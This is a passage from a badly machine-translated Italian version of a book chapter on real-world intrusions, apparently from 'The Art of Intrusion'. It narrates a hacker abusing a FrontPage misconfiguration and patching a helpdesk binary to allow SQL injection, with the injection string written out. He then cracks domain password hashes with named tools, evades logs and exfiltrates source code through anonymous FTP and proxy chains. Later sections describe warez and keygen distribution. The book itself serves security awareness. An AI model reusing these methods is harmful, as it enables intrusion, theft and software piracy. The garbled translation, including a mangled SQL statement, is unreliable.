Riconoscendo che questo errore gli ha dato la possibilità di scaricare e caricare file sul server, ha iniziato a guardare come il server è stato configurato.

Il filo più comune con alcuni server IIS stupidi è che [Chi eresse] abilitata authoring FrontPage.

E, infatti, questo sito aveva un debole. Distribuzione di Microsoft FrontPage (Un programma applicativo utilizzato per creare facilmente e modificare i documenti HTML) senza impostare i permessi dei file corretti è a volte una svista da un amministratore di sistema, a volte volutamente configurato in questo modo per convenienza. In questo caso, significava chiunque poteva leggere non solo i file, ma potrebbe anche caricare file in qualsiasi directory non protetto. Robert è stato alimentato. *Stavo guardando e andare, "Santa merda, posso leggere o modificare ogni pagine sul server senza bisogno di un nome utente o password. "*

Così mi è stato in grado di accedere e guardare la directory principale del server Web. Robert pensa che la maggior parte degli hacker perdono occasione qui.

Il fatto è che quando la gente istituito una rete di scanner per un Server, spesso non cercano configurazioni errate comuni con estensioni di server come FrontPage. Guardano [per vedere che tipo di Server è] e dire: "Beh, è solo Apache" o "E 'solo IIS."

E Mancano fare il loro lavoro molto più facile se FrontPage ha stato configurato male.

Non era tanto una benedizione come aveva previsto, dal momento che "non c'era davvero un bel po 'sul server ". Tuttavia, ha notato che un applicazione chiamata helpdesk.exe sarebbe venuto quando ha avuto accesso al sito attraverso il suo browser. Questo potrebbe rivelarsi molto utile, ma necessario un login con password.

Così, sto guardando pensando come il f___k posso attaccare questo?

Una cosa che non mi piace fare è caricato un altro file di un Web server, perché se gli amministratori guardare attraverso il loro Web

L'arte dell'intrusione

172

tronchi e vedere un migliaio di persone di andare a helpdesk.exe e tutto ad un improvviso un ragazzo nel Pacifico meridionale sta per two.exe o qualche altra cosa, che sarebbe farli pensare due volte, giusto? Così cerco di rimanere fuori dei tronchi.

L'applicazione helpdesk consisteva in un unico eseguibile e un libreria di collegamento dinamico (DLL) di file (file con estensione .DLL contengono raccolta di Windows funzioni dell'applicazione possono telefonare).

Con la possibilità di caricare i file alla radice Web, un utente malintenzionato potrebbe in molti caricare un semplice script che permette di lui o lei a eseguire comandi attraverso il proprio browser. Ma Robert non è solo un attaccante. Egli vanta se stesso di essere furtivo, lasciando poche o nessuna traccia dei log del server Web.

Invece di caricare uno script personalizzato, ha scaricato il helpdesk.exe e file helpdesk.dll al suo computer per analizzare come il applicazione ha lavorato, basandosi su una parte della sua esperienza di fondo. "Ho fatto un sacco di applicazioni di reverse engineering e guardare le cose in assembler ", quindi sapeva come fare per lavorare con la C compilato codice e invertendo la maggior parte di nuovo assemblatore.

Il programma si rivolse a stato chiamato IDA Pro, l'Interactive Disassembler (venduto da www.ccs.com), utilizzato, come egli la descrive, "di un sacco di, come, le aziende di virus e cacciatori di worm, cercando di decompilare qualcuno cosa ad un livello assembler e leggere e capire quello che sta facendo. "

Lui decompilato helpdesk.exe e, approvando il lavoro eseguito da pro-

programmatori professionali, ha deciso che era "scritto abbastanza bene."

Dalla Borsa del Hacker di Tricks: l'attacco "SQL Injection"

Una volta aveva il programma decompilato, Robert ha esaminato il codice per vedere se l'applicazione helpdesk era suscettibile di "SQL injection", un metodo di attacco che sfrutta una svista di programmazione comune. A Sicurezza-coscienza programmatore sterilizzare qualsiasi query dell'utente inserendo il codice che, tra le altre cose, i filtri alcuni caratteri speciali come il

apostrofo, virgolette, e di maggiore e minore di simboli. Senza filtro personaggi come questi, la porta può essere lasciata aperta per un utente malintenzionato di ingannare l'applicazione in esecuzione manipolato data-query di base che possono portare a un compromesso completo del sistema. Infatti, Robert si era reso conto che l'applicazione helpdesk aveva davvero effettuato i controlli igienico-sanitari adeguati per impedire a qualcuno di utilizzare SQL iniezione. La maggior parte degli hacker avrebbero basta caricare uno script ASP per il Web server e fare con essa, ma Robert era più preoccupati di essere convertire che sfruttando una semplice vulnerabilità per compromettere i suoi obiettivi.

Capitolo 8 vostra proprietà intellettuale non è sicuro

173

Ho pensato, "E' molto divertente, che è piuttosto fresco. Sto andando godere questo. "

Ho pensato a me, "Beh, io sto andando ad attivare SQL injection by avvitando il controllo di validità. "Ho trovato la stringa di cui il caratteri non validi sono stati mantenuti e sono tutti cambiati, credo era uno spazio o una tilde () o qualcos'altro che non ero andando sia utilizzando, ma allo stesso tempo non interesserebbe nessuno.

In altre parole, modificò il programma (usando un editor esadecimale per "Romper" la routine progettata per verificare input dell'utente) in modo che il tere speciale ca- non sarebbe più essere respinta. In questo modo, potrebbe segretamente fare SQL injection senza modificare il comportamento della richiesta di un punto qualsiasi altro. Un altro vantaggio era che gli amministratori non avrebbero probabilmente controllare l'integrità dell'applicazione helpdesk, poiché non vi sarebbe essere segni evidenti che era stato manomesso.

Robert poi inviato sua versione modificata dell'applicazione helpdesk per la Web server, che sostituisce la versione originale. Il modo in cui alcune persone raccogliere francobolli, cartoline, scatole di fiammiferi o da luoghi sono stati, gli hacker qualcuno conserva sempre non solo il bottino delle loro irruzioni, ma il codice hanno usato come bene. Robert ha ancora una copia binario compilato del file eseguibile che ha creato.

Da quando stava lavorando da casa (coraggiosa, e non è raccomandato, a meno si desidera ottenere sballato), ha caricato la sua "nuova e migliorata" versione di l'applicazione helpdesk attraverso una catena di proxy server - che sono server che agiscono come mediatore tra il computer di un utente e un computer lui o lei desidera accedere). Se un utente effettua una richiesta di una risorsa da computer A, questa richiesta è rivolta al server proxy, che rende il richiesta, ottiene la risposta dal computer A, e poi inoltra il risposta al client.

I server proxy sono in genere utilizzati per l'accesso World Wide Web risorse dall'interno di un firewall. Robert ha aumentato la sua sicurezza utilizzando diversi delega server situati in diverse parti del mondo, per diminuire la probabilità che

poteva essere identificato. I cosiddetti "proxy aperti" sono comunemente usati come questo per mascherare l'origine di un attacco informatico.

Con la sua versione modificata l'helpdesk applicazione funzionante, Robert collegato al sito di destinazione usando il suo browser Internet. Quando presentato con un nome utente modulo di input richiesta e password, lanciato un semplice attacco SQL injection, come aveva previsto. Sotto normale circostanze, una volta che un utente entra un nome utente e una password - per esempio, "Davids" e "z18M296q" - l'applicazione utilizza questi ingressi a general-
eRate un'istruzione SQL come la seguente:

selezionare record da utenti dove user = "davids" e password = 'z18M296q'

L'arte dell'intrusione

174

Se il campo utente e il campo password corrispondono alle voci di database, quindi l'utente è connesso Questo è il modo in cui dovrebbe funzionare.; SQL di Robert attacco iniezione andata così: nel campo Nome utente, entrò

'O dove password come'% -

Per la password, è entrato nella dichiarazione identica

'O dove password come'% -

L'applicazione utilizzato questi ingressi per generare un'istruzione SQL simile al seguente:

selezionare record da utenti dove user = " o dove password

come '%' e la password = " o dove password come '%'

L'elemento *o dove password come%* dice SQL per restituire il record se

la password è *nulla* (il "%" è un jolly). Constatando che il

Password ha fatto fronte a questa richiesta senza senso, la domanda allora

Robert accettato come un utente legittimo, proprio come se avesse di ingresso autentico utente credenziali. E poi lo registrato con le credenziali della prima persona

elencati nel database degli utenti, di solito un amministratore. Che si è rivelato

nel caso di specie. Robert trovò non solo l'accesso, ma il login

con privilegi di amministratore.

Da lì, è stato in grado di vedere il messaggio del giorno che un dipendente o altro utente autorizzato vede dopo l'accesso con successo in. Da una serie di questi messaggi, ha spogliato informazioni sui numeri di dial-up per chiamare nella rete e, in particolare, collegamenti ipertestuali per aggiungere e rimuovere gli utenti del gruppo VPN in Windows. La società utilizzava

Servizi VPN di Microsoft, che è impostato in modo che i dipendenti utilizzano la loro

Nomi di account e password di Windows per accedere. E dal momento che Robert era

registrato per l'applicazione helpdesk come uno degli amministratori, questo

gli ha dato la possibilità di aggiungere utenti al gruppo VPN e cambiare password utente parole per gli account di Windows.

Progredire. Tuttavia, fino ad ora, è stato appena effettuato l'accesso a un'applicazione come un amministratore; che non lo hanno ottenuto più vicino alla loro codice sorgente. Il suo prossimo obiettivo era quello di ottenere l'accesso alla rete interna attraverso la loro VPN impostare.

Proprio come un test, attraverso il menu helpdesk ha provato a cambiare la password parola di quello che sembrava essere un conto in sospeso, e ha aggiunto al

Gli utenti VPN e il gruppo di amministratore - il che significa che le sue attività

sarebbe meno probabilità di essere notato. Ha capito alcuni dettagli del loro

Configurazione VPN, in modo da poter poi "VPN in. Questo è un bene, ma gioca

un po 'lento. "

Capitolo 8 vostra proprietà intellettuale non è sicuro

175

Pagina 197

Ho ottenuto in circa 01:00 il loro tempo. Con me essendo nel Australia, il fuso orario è molto bello. Può essere 1:00 in America, ma durante la giornata di lavoro qui. Volevo andare in quando ero che la rete era vuota, non volevo che nessuno connesso o persone a notare questo. Forse hanno segnalazione attiva di tutti che sta andando in. Voglio solo essere sicuro.

Robert ha un senso che capisce come l'IT e la sicurezza della rete persone lavorano, e non è molto diverso da tutti gli altri nel mondo del lavoro. "L'unico modo per loro di notare [mio andare online] sarebbe stato passare attraverso i registri attivamente. "La sua visione di IT e uomini della sicurezza non è molto lusinghiero. "La gente non legge i log ogni morning. Quando si arriva alla scrivania, ti siedi, prendere un caffè, leggere alcuni I siti web di interesse personale. Non si va in e leggere i log e vedere chi cambiato le loro password di ieri. "

Una delle cose che aveva notato nei suoi sforzi di hacking, Robert dice, è che "quando si cambia qualcosa su un sito, la gente o prenderlo subito, altrimenti non interferiranno affatto. Il cambiamento che ho fatto a quel Web applicazione sarebbe stato notato se avessero gestiscono qualcosa come Tripwire, "ha detto, riferendosi a un'applicazione che verifica la integrità dei programmi di sistema e altre applicazioni facendo un cripto-checksum grafica e nel confronto con una tabella di valori noti. "Avrebbero notato che l'eseguibile era cambiato."

A quel punto si sentiva rassicurato, citando il termine ormai familiare su "M & M di sicurezza" - duri all'esterno ma molto morbido e gommoso sulla all'interno. "Nessuno si preoccupa davvero se qualcuno guarda intorno loro rete perché si è all'interno dei locali. "Una volta che sei riuscito a penetrare la sicurezza perimetrale, sei abbastanza bene a casa gratuitamente. "(I mezzi frase che una volta che un attaccante è al suo interno e con le risorse come qualsiasi autorizzazione ized utente, è difficile rilevare la sua attività non autorizzate.)

Ha trovato che l'account ha dirottato (cambiato la password di) attraverso l'applicazione helpdesk lui consentito sulla rete attraverso il servizio Microsoft VPN. Il suo computer è stato poi collegato al rete interna aziendale, proprio come se si stesse utilizzando un PC fisicamente mente collegato alla rete nella sede della società.

Finora, era stato attento a non fare nulla che potrebbe creare voci di registro a amministratore di sistema coscienzioso potrebbe notare, e lui è stato vela gratuito.

Una volta connesso alla rete interna della società, Robert mappato Nomi di computer Windows a loro indirizzi IP, trovare macchine con nomi come FINANCE, backup2, WEB, e Helpdesk. Ha mappato altri con nomi di persone, a quanto pare i computer dei singoli dipendenti. A proposito di questo, ha ribadito un punto fatto da altri in queste pagine.

L'arte dell'intrusione

176

Pagina 198

Quando si trattava di nomi dei server, qualcuno in azienda aveva un

senso dell'umorismo stravagante familiare in parti di alta tecnologia. Il trend iniziato a Apple Computer nei suoi primi giorni del boom. Steve Jobs, con la sua creatività striscia e il suo break-tutto-il-rules approccio, ha deciso che la conferenza camere negli edifici aziendali non sarebbero chiamati 212A o Sesto Piano Sala Conferenze o qualsiasi altra cosa di tutti i giorni così e noioso. Invece, le camere sono stati nominati dopo i personaggi dei cartoni animati in un unico edificio, stelle del cinema in un altro, e così via. Robert ha scoperto che il software com-azienda aveva fatto qualcosa di simile con alcuni dei loro server, tranne che con la loro connessione con il settore animazione, i nomi scelsero inclusi i nomi di famosi personaggi di animazione.

Non era uno dei server con un nome divertente che lo attraeva, però. Era quello chiamato Backup2. La sua ricerca si produsse un gemma: una condivisione di rete aperta chiamato Johnny, dove alcuni dipendenti avevano sostenuto un sacco di suoi file. Questa persona sembra essere qualcuno sentirsi abbastanza comodo e non molto preoccupati per la sicurezza. Tra i file nella directory sono una copia di un fascicolo personale di Outlook cartelle, contenenti copie di tutti salvati e-mail. (A *condivisione di rete* si riferisce a un disco rigido o una parte di un disco che è stato configurato per intenzionalmente consentire l'accesso o la condivisione di file da parte di altri.)

Il pericolo di Backup dei dati

Un denominatore comune nella maggior parte di noi è che quando vogliamo fare una backup, vogliamo rendere davvero facile per noi stessi. Se c'è abbastanza spazio a disposizione, abbiamo il backup *di tutto*. E poi ci dimentichiamo a questo proposito. Il numero di backup in giro diventa enorme. La gente semplicemente lasciare li accumulano, si riuniscono, e nessuno pensa mai sulla rimozione finché il server o il dispositivo di backup si esaurisce lo spazio.

"Spesso," Robert commenta: "il backup contiene critica, essenziale, Informazioni stupefacente che non si dà alcun pensiero per perché è la backup. Trattano con molto basso di sicurezza." (Durante il mio più giovane l'hacking giorni, ho notato la stessa cosa. Una società andrebbe a estremo lunghezze per proteggere alcuni dati, ma i backup degli stessi dati erano trattati come poco importante. Quando ero latitante, ho lavorato per uno studio legale che lascerebbe loro nastri di backup in una scatola di fuori del com- protetta computer ingresso spazio per essere raccolti da una società di archiviazione off-site. Chiunque avrebbe potuto rubato i nastri con poco pericolo di essere scoperti.)

Su Backup2, notò uno spazio comune dove qualcuno aveva sostenuto tutte le sue chicche - tutto. Immaginò come fosse successo, e la storia avrà un anello familiare a molti:

Capitolo 8 vostra proprietà intellettuale non è sicuro

177

Questo ragazzo era stato in fretta un giorno. Pensò, "Ho bisogno di tornare questo in su ", così lo aveva fatto. E, dopo essere stato eseguito il backup come forse tre o quattro mesi fa, era ancora seduto lì.

Quindi, questo mi dà una sensazione per la rete e davvero come forse il amministratori di sistema hanno lavorato, perché questa non era una persona sviluppatore o qualcuno senza accesso. Questo qualcuno è stato capace di creare un rete Share, ma ovviamente non era incredibilmente preoccupato sicurezza.

Robert proseguì:

Se fosse stato anale sicuro come me, avrebbe avuto una password su quella quota, e lui forse avrebbe chiamato la quota di qualcuno cosa casuale. E avrebbe rimosso successivamente.

Ancora meglio, dal punto di vista di Robert: "Ha avuto una copia del suo Outlook in là, come pure "con tutti i suoi indirizzi e contatti. "Ho copiato il file di archivio ", dice Robert. "Ho recuperato il suo fascicolo Outlook.pst con tutta la sua e-mail, 130 o 140 mega. "

Si disconnesso e ha trascorso alcune ore a leggere e-mail del ragazzo. Lui scoperti "annunci pubblici, pagano modifiche, analisi delle prestazioni, tutto di questo ragazzo. Ho scoperto un bel po 'di informazioni su lui - era uno degli amministratori di sistema di piombo sulla rete ed era responsabile di tutti i server di Windows, "Robert ha dichiarato:" E sono stato in grado per ottenere attraverso il suo box che gli altri amministratori di sistema sono stati e che ha avuto un sacco di accesso "E 'ancora più bello.:

Le informazioni all'interno della sua e-mail è stato estremamente utile. Ero in grado di sviluppare una lista di persone che possono avere accesso alle il codice sorgente che volevo. Ho scritto tutti i loro nomi, tutti i dettagli Ho potuto ottenere. Poi sono andato in giro e ho cercato intera del ragazzo file di posta per "password", e quello che ho trovato è stato un paio di registrazioni, uno dei quali con alcune società appliance di rete.

Aveva creato un account sul loro lato supporto con la sua e-mail indirizzo e una password. E lui aveva fatto questo per due o tre fornitori. Ho trovato le email che erano tornati [dal com-impres] dicendo: "Grazie per la registrazione del conto, il tuo username è questo, la password è che ". La parola d'ordine è stata "Mypassword" per due società diverse.

Così, forse, solo forse, era la stessa che usava al lavoro.

La gente è pigra, quindi questo sarebbe sicuramente la pena di provare.

L'arte dell'intrusione

178

Buona congettura. La password ha funzionato per uno dei suoi conti sulla server aziendale. Ma non era l'account di amministratore di dominio Robert sperata, che gli avrebbe consentito l'accesso alla maestro database di account, che memorizza il nome utente di ogni utente di dominio e hash password. Tale banca dati veniva chiamato per l'autenticazione agli utenti di tutto il dominio. A quanto pare ha avuto un solo nome utente, ma aveva diversi livelli di accesso a seconda che si accedeva al dominio o il computer locale. Robert aveva bisogno amministratore di dominio l'accesso per accedere a sistemi più sensibili della società, ma la amministratore stava usando una password diversa per il dominio Account Administrator, uno che Robert non aveva. "Questo davvero screziato me off ", ha lamentato.

La faccenda stava cominciando a ottenere più di un po 'frustrante.

"Ma ho pensato che avrei potuto finalmente trovare la sua password per l'altro conto solo guardando intorno altre risorse ".

Poi la situazione ha cominciato a illuminare. Ha scoperto che la società è stata usando un'applicazione di gestione del progetto denominato Visual SourceSafe e riuscito ad ottenere l'accesso al file di password esterno, che era apparentemente leggibile da qualsiasi utente che ha avuto accesso al sistema. Attaccare la password

file word con dominio pubblico software cracking delle password, ci sono voluti "forse come una settimana e mezzo, due settimane, e ho avuto una password diversa per il man. "Lui aveva recuperato una seconda password per l'amministratore che aveva stato bird-Dogging. Tempo per una piccola festa. Questa password è anche utilizzata per l'account di amministratore di dominio, che ha dato l'accesso a Robert tutti gli altri server che volevano entrare.

Osservazioni password

Le password sono cose molto personali, Robert dice. «E come si può dire aziende molto rigide è quando danno tutti una password e che password molto anale e molto severe. Ma si può dire com- molto rilassato aziende quando la password di default è un giorno della settimana, o il default passaporti parola è il nome della società o qualcosa di altrettanto insensata ".

(Robert condiviso con me che alla società in cui lavora, un la password del dipendente è impostato per il giorno in cui inizia. Quando si cerca di accedere, "Puoi avere sette tentativi prima che il sistema si blocca, e, di Naturalmente, è necessario solo non più di cinque ipotesi "se si sta cercando di entrare nel conto di qualcuno.)

Robert ha scoperto che un sacco di conti presso la società stava cercando alla compromissione aveva una password predefinita in forma di seguente:
companyname 2003

Capitolo 8 vostra proprietà intellettuale non è sicuro

179

Egli non ha trovato alcuna con "2002" o prima, quindi era ovvio che sono stati tutti cambiati il giorno di Capodanno. Gestione delle password Geniale!

Ottenere accesso completo

Robert poteva sentirsi sempre più vicino al suo obiettivo. Armato con la sezione Password aveva ottenuto per l'amministratore la cui elettronica identità che aveva dirottato, ora aveva accesso agli hash delle password del intero dominio. Ha usato pwdump2 per estrarre gli hash del Primary Domain Controller, e L0phtCrack III per rompere la maggior parte del le password.

(L'ultimo trucco fresco utilizza tabelle arcobaleno, che sono le tabelle di una password hash e le password corrispondenti. Un sito, [http:// sarcaj.wayreth.eu.org/](http://sarcaj.wayreth.eu.org/), tenterà di rompere l'hash della password per voi. Voi

basta inviare il LAN Manager e hash NT, e il tuo indirizzo e-mail.

È possibile ottenere una e-mail di nuovo con le password. Robert ha spiegato, "Hanno generate pre determinati hash in base al set di caratteri di uso comune nella costruzione di una password, in modo che, invece di dover lotti di calcolo potere, hanno 18 o 20 gigabyte di hash pre-generati e il corrispondente rispondendo password. E 'molto veloce per un computer per la scansione attraverso gli hash pre-calcolate per trovare una corrispondenza, chiedendo ', Sei questo? Sei questo? Sei questo? Va bene - tu sei *questo* ""Un attacco di tabelle arcobaleno riduce. il tempo di cracking di secondi.)

Quando L0phtCrack finito, Robert ha avuto le password per più ogni utente nel dominio. A questo punto, dalle informazioni nei messaggi di posta elettronica che aveva dirottato in precedenza, aveva messo insieme una lista di persone che si erano scambiati messaggi con l'amministratore di sistema. Uno era di un lavoratore che aveva scritto su un server che si era rotto, lamentandosi, "Sono in grado di salvare eventuali nuove revisioni e non posso sviluppare il mio codice ". Così era ovviamente

uno sviluppatore, che era informazioni preziose. Robert ora alzò la il nome utente e la password dello sviluppatore.

Compose e firmato con le credenziali dello sviluppatore. "Logged come lui, ho avuto pieno accesso a tutto "

"Tutto" è significato questo caso, in particolare, il codice sorgente del prodotto - "questo è le chiavi del regno". E lui l'aveva. "Volevo per rubare la fonte. C'era tutto quello che volevo ", racconta felicemente.

Invio la casa codice

Robert aveva appena visto il bagliore dell'oro che aveva cercato. Ma lui doveva ancora trovare un modo - un modo sicuro - di ottenere la consegna al suo porta di casa. "Erano file piuttosto pesanti", dice. "Penso che l'intera albero dei sorgenti è stato di circa un concerto, che avrebbe portato me f___king settimane . "

L'arte dell'intrusione

180

(Almeno non era così male come il tentativo di scaricare una grande com- il file pressato con un modem 14.4K baud, che è quello che avevo fatto quando Ho copiato fuori centinaia di megabyte di VMS codice sorgente digitale Anni Equipment Corporation precedenti.)

Poiché il codice sorgente era così enorme, voleva una più veloce connessione zione per l'invio. E voleva un percorso di consegna che non poteva essere facilmente risalire a lui. La connessione veloce non ha presentato un gran problema.

In precedenza aveva compromesso un'altra società negli Stati Uniti che usato Citrix MetaFrame, che era un altro anatra seduta su Internet.

Robert ha stabilito una connessione VPN nella società target e mappato un disco per cui il codice sorgente risiedeva. Ha semplicemente copiato via.

"Ho usato il server Citrix alla VPN alla rete [della società di software] di nuovo, e poi mappata alla condivisione. E poi ho copiato tutto la fonte codice, binari, e altri dati al server Citrix sacrificabile. "

Per trovare un percorso per la consegna dei file in modo sicuro, untraceably (sperava), ha usato il mio motore di ricerca preferito, Google, per individuare un anonimo FTP server - che permette a chiunque di caricare e scaricare file ad una directory accessibile al pubblico. Inoltre, stava cercando un anonimo FTP server che aveva directory accessibile anche tramite HTTP (utilizzando un Web browser.) ha calcolato che, utilizzando un server FTP anonimo, la sua attitù sarebbe "sepolto nel rumore", perché molti altri sarebbero anche utilizzando il server al commercio porno, warez, musica e film.

Il termine di ricerca ha usato in Google è stato il seguente:

Indice di genitore inurl arrivo: ftp

Questo cerca server FTP istituito per consentire l'accesso anonimo. Da i server individuati dalla ricerca di Google, ha scelto uno che ha incontrato il suo criteri per i download HTTP come detto in precedenza, in modo da poter scaricare il codice proprio browser Web.

Con i file di origine già trasferite dalla società al com- Server Citrix promesso, ora li trasferito di nuovo al anonimo Server FTP era situato dalla ricerca di Google.

Ora c'era solo un ultimo passo che rimane prima che poteva, a lungo ultima, avere il codice sorgente preziosa in suo possesso: il trasferimento dal Server FTP al proprio computer. Ma "alla fine della giornata, non voglio per avere il mio indirizzo Internet scaricando tutto il codice sorgente, e in parti-

cialmente non per ore e ore, se sai cosa voglio dire. "Quindi, prima il trasferimento dei file sul server FTP, li compresso in un più piccolo pacchetto, dando un nome innocuo ("gift.zip, o qualcosa del genere"). Ancora una volta ha usato una catena di server proxy aperti per far rimbalzare il suo collegamento in un modo che rende improbabile da tracciare. Robert spiega, Capitolo 8 vostra proprietà intellettuale non è sicuro

181

"C'è come cento aperte Calze deleghe nella sola Taiwan. E tu conoscere in ogni momento, forse un centinaio di persone useranno uno di questi proxy ". Quindi, se sono abilitati registrazione a tutti, che rende i registri davvero grande, il che significa che è altamente improbabile i ragazzi in giacca e cravatta stanno per MAN-età per Bloodhound voi e venire a bussare alla tua porta. "Sei come l'ago dal pagliaio. E 'semplicemente troppo ingombrante. " Infine, dopo tutti i suoi sforzi, la trasmissione era la sua strada. *Non riesco a credere che il codice è stato scaricando a me. E 'stato un davvero grande cosa.*

S

HARING

: AC

RACKER

,

S

W

MONDO

Che cosa fa un hacker come un Erik o un Robert fare una volta che hanno la coper- software eted in mano? Per entrambi, come per gli altri per i quali il termine "Cracking" o "software pirata" applica, la risposta è che la maggior parte tempo, condividono il software che hanno piratato con molti, molti altri. Ma fanno la condivisione indirettamente.

Erik ha spiegato le misure che seguì dopo nabbing il software server aveva trascorso due anni assetato dopo. La domanda era stata scritta in un linguaggio di programmazione non era abile, ma Erik aveva un amico che era stato programmatore nel linguaggio, così ha superato la fonte codice per generare il codice di sblocco o la registrazione di bypassare la concessione di licenze ing controlli di sicurezza. Ha aggiunto una interfaccia utente grafica (GUI) in cima del generatore chiave rubata di nascondere l'origine del codice.

Ho dato a qualcun altro che ha caricato il software di uno dei nuclei Warez, archiviare il tutto in un pacchetto, messo la keygen in e informazioni create file [con] istruzioni come installare e rompere il software. Non ho postato io.

Quando si è pronti per caricare il programma e keygen, in primo luogo a verificare vedere se qualcun altro potrebbe aver incrinato lo stesso programma già.

Prima di pubblicare qualcosa, si vuole assicurarsi che nessun altro ha fatto prima, quindi non un "babbeo controllare" per assicurarsi che sia unico.

Il controllo dupe è facile. Il cracker va semplicemente www.dupecheck.ru

(Il sito si trova in Russia

2

) Ed entra il nome e la versione del

prodotto. Se è presente nell'elenco, significa che qualcun altro ha già incrinato e

inviato ad uno dei siti principali Warez.

L'arte dell'intrusione

182

Pagina 204

Ma solo perché il software è stato inviato al sito non significa chiunque può scaricarlo. In realtà, il sito annuncia prominente

SIAMO UN GRUPPO CHIUSO SO F__K OFF

(Le lettere mancanti sono, ovviamente, fornito sul sito.)

D'altra parte, se è un prodotto corrente e non ancora elencati, che significa il cracker ha segnato un grande colpo. Può essere il primo a caricare la versione di cracking del software.

Una volta che un nuovo pacchetto viene caricato, la distribuzione inizia rapidamente, come Erik descritto.

Ci sono probabilmente come forse 50 principali siti warez nel mondo, pri-siti vate FTP. Si carica di uno di questi siti, e all'interno forse un'ora è replicato da quel sito a migliaia di altri siti in tutto il mondo, attraverso corrieri.

Forse 50 a 200 volte al giorno - dice probabilmente 100, che è una bella buona media. Un centinaio di programmi al giorno vengono piratati in questo modo.

Un "corriere", spiega Erik, è una persona che si muove "la roba" da un sito cracking a un altro. Corrieri sono "il successivo livello inferiore della catena alimentare" dai ragazzi che cercano di rompere il software.

I corrieri guardano tre o quattro siti diversi. Non appena uploads qualcuno [un applicazione incrinato] al sito Warez, e scorgono come qualcosa di nuovo, che scaricarlo e inviarlo su ad altri tre o quattro siti il più velocemente possibile prima di chiunque altro.

Ora, a questo punto non c'è forse 20 siti che hanno. A volte questo potrebbe essere due o tre mesi prima che [il nuovo software] anche colpisce i negozi.

Il prossimo livello di corrieri - ragazzi che non hanno ancora ottenuto l'accesso al nuclei Warez - macchiano la nuova voce e passare attraverso lo stesso processo di scaricare e poi caricare il più velocemente possibile per il maggior numero altri siti come il possibile, per essere il primo. "Ed è proprio in fondo che filtra modo e come nel giro di un'ora, è andato due volte in tutto il mondo. "

Alcune persone ottenere l'accesso a siti warez attraverso crediti, Erik ha spiegato.

I crediti sono un tipo di valuta di cracking guadagnato contribuendo alla missione dei siti, che è la distribuzione del software di cracking. Il cracking di solito fornisce sia il programma e uno strumento che genera chiavi di licenza valide o qualche altro tipo di soluzione.

Capitolo 8 vostra proprietà intellettuale non è sicuro

183

Pagina 205

Un cracker ottiene crediti per essere il primo a caricare il "crack" per un sito che non ha ancora. Solo la prima persona a caricare una nuova applicazione su un particolare sito riceve credito.

Quindi sono molto motivati a farlo in fretta. Pertanto, in nessun tempo, è visto in tutto il mondo. A quel punto le persone fanno copie di esso su loro proprio siti di crack o newsgroup.

La gente come me che cercano di rompere questa roba ottengono accesso illimitato

sempre - se sei un cracker, vogliono contribuire a mantenere la roba buona quando sei il primo che ha.

Alcuni siti hanno il programma completo e il keygen. "Ma un sacco di crack siti, "Erik spiega," non includono il programma, solo il keygen. A rendere [file] piccoli e per rendere meno probabile che i federali verranno chiuse giù. "

Tutti questi siti, non solo i principali siti warez di alto livello, ma quei due o tre livelli giù, sono "difficili da ottenere su. Sono tutti privato ", perché se uno degli indirizzi dei siti è saputo, "i federali avrebbero non solo spegnerlo, avevano spegnerlo, arrestare le persone, prendere tutti i loro computer, e arrestano chiunque sia mai stato in quel sito "perché questi siti FTP sono, dopo la tutto, depositari di enormi quantità di proprietà intellettuale rubati.

Non ho nemmeno andare a quei siti più. Vado raramente, a causa della rischi connessi. Andrò lì quando ho bisogno di alcuni software, ma non ho mai caricare roba me stesso.

In realtà è molto interessante perché è estremamente efficiente. Io dire quali altre attività ha un sistema di distribuzione del genere e tutti sono motivati perché tutti vogliono qualcosa.

Come un cracker, ricevo inviti per accedere a tutti questi siti, perché tutti i siti vogliono causa buoni cracker "è così che ottengono più couriers. E i corrieri vogliono accedere ai buoni siti perché è dove ottengono la roba buona.

Il mio gruppo non permette nuove persone. Inoltre, ci sono alcune cose noi non rilasciamo. Come una volta abbiamo rilasciato Microsoft Office, uno estate, ed era troppo rischioso. Dopo che abbiamo deciso di non fare davvero grandi nomi come quello più.

Alcuni ragazzi vanno tizzone, ottenere davvero aggressivo su di esso e venderanno i CD. Soprattutto quando iniziare a farlo per i soldi, disegna più attenzione. Sono quelli che di solito ottenere Busted.

Ora, per questo tutto con software, lo stesso processo avviene con la musica e con i film. In alcuni dei siti di film, si può

L'arte dell'intrusione

184

ottenere l'accesso ai film di due o tre settimane prima che colpiscano teatri qualcuno volte. Che di solito qualcuno che lavora per un distributore o un duplicatore. E 'sempre qualcuno all'interno.

Io

Nsight

La lezione della storia di ricerca di Erik per quella software ultimo server pacchetto per completare la sua collezione: In natura non sembra essere tale cosa come la perfezione, e questo è ancora più vero quando si tratta di esseri umani. Suo società target è stato *molto* attento alla sicurezza e ha fatto un ottimo lavoro a proteggere i propri sistemi informatici. Ma un hacker che è competente abbastanza, determinato a sufficienza, e disposti a spendere abbastanza tempo è quasi impossibile tenere fuori.

Oh, certo, probabilmente sarete abbastanza fortunati a non avere qualcuno come determinato come Erik o Robert attaccano i sistemi, disposti a spendere un master quantità sive di tempo ed energie per lo sforzo. Ma come circa un concorrente senza scrupoli disposti ad assumere una squadra di professione sotterraneo

sionisti - un gruppo di mercenari di hacker ogni disposti a mettere in 12 o 14 ore al giorno e amare il loro lavoro?

E se gli attaccanti non trovano una crepa nel muro elettrica della propria organizzazione armatura tronic, che cosa allora? A parere di Erik, "Quando qualcuno entra in la rete per quanto ero in questa rete, [si] non sarà mai, mai, mai tirarlo fuori. Lui è lì per sempre. "Egli sostiene che ci vorrebbe" un riparazione completa di tutto e di cambiare tutte le password nello stesso giorno, contemporaneamente, reinstallare tutto, e fissando poi tutto a allo stesso tempo per bloccare lo fuori ". E devi fare tutto senza mancanti ing una cosa sola. "Lascia una porta aperta e torno di nuovo in pochissimo tempo. "

Le mie esperienze confermano questo punto di vista. Quando ero al liceo, ho inciso nel Easynet di Digital Equipment Corporation. Sapevano che aveva un intruso, ma per otto anni, le migliori menti in loro sicurezza reparto non riusciva a tenermi fuori. Alla fine si è liberato di me - non attraverso gli sforzi di loro, ma perché il governo era stato così gentile da offrirmi un pacchetto vacanza in uno dei loro vaca- federale località zione.

C

COUNTERMEASURES

Anche se questi sono stati attacchi molto diversi, è aprire gli occhi per notare come molte vulnerabilità sono stati fondamentali per il successo di entrambi questi hacker, e quindi quante delle contromisure si applicano a entrambi gli attacchi.

In seguito sono le principali lezioni da queste storie.

Capitolo 8 vostra proprietà intellettuale non è sicuro

185

Firewall aziendali

